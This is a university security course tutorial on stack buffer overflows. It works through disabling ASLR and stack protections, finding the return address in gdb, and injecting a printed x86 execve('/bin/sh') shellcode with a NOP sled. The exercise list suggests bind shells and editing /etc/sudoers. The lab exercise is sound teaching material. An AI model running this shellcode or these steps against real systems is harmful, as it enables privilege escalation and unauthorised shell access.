LINGI2144: Secured System Engineering
Tutorial 5: Buffer Overflows and Shellcodes

Academic year : 2020 - 2021

Teacher : Legay Axel
Course : LINGI2144
Collaborators :
Crochet Christophe
Duchene Fabien
Given-Wilson Thomas
Strebelle Sebastien

1 Prerequisite

NOTE: Very few files are provided for this week, so no sub-directories are used. Also, all the files provided as examples not as fixed inputs, feel free to edit them to assist in the goals of the tutorial. This may include changes to variables, sizes of buffers, etc. The focus today is on crafting and implementation exploits, the exact over ow mechanism is much less important.

Connection:

username	password
admin	nimda

1.1 Environment Configuration

On most Linux systems and with most compilers there are protections built in to prevent various exploits. For today's tutorial we may have to turn some of these off.

One is the randomisation of memory segments by the Linux kernel. We can see the current value with

```
sudo cat /proc/sys/kernel/randomize_va_space
```

This is "2" by default on Kali Linux (and most Linux systems). To turn this off for the rest of the sessions by setting the value to "0" we can run

```
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
sudo cat /proc/sys/kernel/randomize_va_space
```

The compiler can also insert various protections into code that is compiled. For the stack, `gcc` includes some stack protection by default on many versions. We can force this to be turned off with the argument

```
-fno-stack-protector
```

At times we may also wish to force gcc to compile code with executable instructions on the stack, we can enable this with

```
-z execstack
```

2 Exercise

2.1 Revisit Shellcode Injection

Last week we looked at spawning a shell with a shellcode. Recall that the shellcode was provided already in the code. However, we can also create our own shellcode for example starting with the assembly in `"testshell.s"`:

```
as testshell.s -o testshell.o
ld testshell.o -o testshell
objdump -d testshell
```

which will show you the machine instructions. These can then be turned into the string you will find in `"example.c"`.

In `"example.c"` you will find a simple C program that already has the code for a shellcode defined as a string.

The rest of the program merely points to this string and executes the "string". We can compile and run the program with

```
gcc -g -fno-stack-protector -z execstack -o example example.c
./example
```

Note that we compile to allow execution of the stack since the program we wish to execute is on the stack as the shellcode.

When the program runs we are dropped into a `/bin/sh` shell that we can operate in. We can exit this shell now we have shown that it works.

Now let's combine our shellcode with a buffer over ow from last week and gain a shell. We can see in the code for "`vulnerable.c`" and we can observe that there is a copy of the first argument to the code on the stack. If we compile the code with

```
gcc -g -fno-stack-protector -z execstack -o vulnerable vulnerable.c
./vulnerable
```

that we could try and inject the shellcode into via a command line argument. To find where to do this run vulnerable in gdb:

```
gdb -q vulnerable
```

and break in the function "`func`", pass in an argument (we don't need to overflow now) and then break at the leave of the function to see where the return to main is on the stack and how much to overflow. These are the commands that worked for me:

```
break func
run `perl -e 'print "A"x60'`
disass main
```

observe the address of the instruction after `func`, for me it was `0x0040122f`.

```
disass func
```

put a break point on the return call (for me at address `0x004011e1`)

```
b *0x004011e2
```

now observe the content of the local variable "`buf`":

```
x/24xw buf
    c
x/24xw buf
```

we are now at the end of the function and have seen how much we over-write and where the return call is. For my version I would need to write another 16 bytes to overwrite the `EIP` stored on the stack (total of 80 bytes).

Now we include the shellcode in the perl string and the address we want to write to (the address where "`buf`" is). For me the address of "`buf`" was `0xbffff230`. So now I just need to combine all these parts into a single command to send to the program was the command that worked for me:

```
run `perl -e 'print "\x90"x21
    . "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88
       \x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd
       \x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41
       \x41\x42\x42\x42\x42"
    . "\x40\xf2\xff\xbf"'` //return address
```

The `"\x90"x21` is padding to put the shellcode and the address of `buf` (after the shell code) into the right position.

Note that "`\x90`" is a non-operation on x86 and so the program will execute this "nop sled" to reach the shellcode.

This will now drop you into a shell if run from `gdb`... but will may crash if you have breakpoints. To have the optimal outcome you may need to quit out of `gdb` and restart `gdb`, but then the shellcode should execute without any problem and drop you into a shell.

Finally, note that addresses inside `gdb` and outside of `gdb` can change! Your shellcode will probably not run the same if passed on the command line with:

```
./vulnerable `perl -e 'print "\x90"x21
    . "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88
       \x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd
       \x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41
       \x41\x42\x42\x42\x42"
    . "\x40\xf2\xff\xbf"'` //return address
????????????????????1??F1?1??[1??C??C
                                    ?
                                        ??S
                                       ?????/bin/shNAAAABBBB@???
Illegal instruction
```

To fix this you need to find where the address is and this can/will change, here is the output from my VM, but again your addresses may change different (and I didn't guess first change):

```
./vulnerable `perl -e 'print "\x90"x21
    . "..." . "\x90\xf2\xff\xbf"'` //close new return address
????????????????????1??F1?1??[1??C??C
                                    ?
                                        ??S
                                       ?????/bin/shNAAAABBBB@???
$
```

By now you should be able to reproduced the above behaviour so you can progress with the tutorial.

BONUS: Last week we also had "`exploitme.c`" that has potential ways to manipulate the stack due to an off by one error. See if you can inject your shellcode here. Note that this will probably require compiling with clang instead of `gcc` and may be tricky, this is purely a bonus if you have time, NOT a priority.

2.2 Write Your Own Shellcode

The "`testshell.s`" is a very simple shellcode to demonstrate the key concepts. Now you should write your own shell code to do something interesting. The goal here is for you to be able to build your own shell and then inject it. Some ideas of things you might want to do are:

1. run a different program to `/bin/sh`
2. telnet to a remote port (or at least pretend it is remote)
3. open a listening port that when connected to spawns a bash shell for the other side
4. try to add a line to `/etc/sudoers`
5. and many other ideas

Note that you can inject this code into any vulnerable program (if you prefer `exploitme.c` this is fine).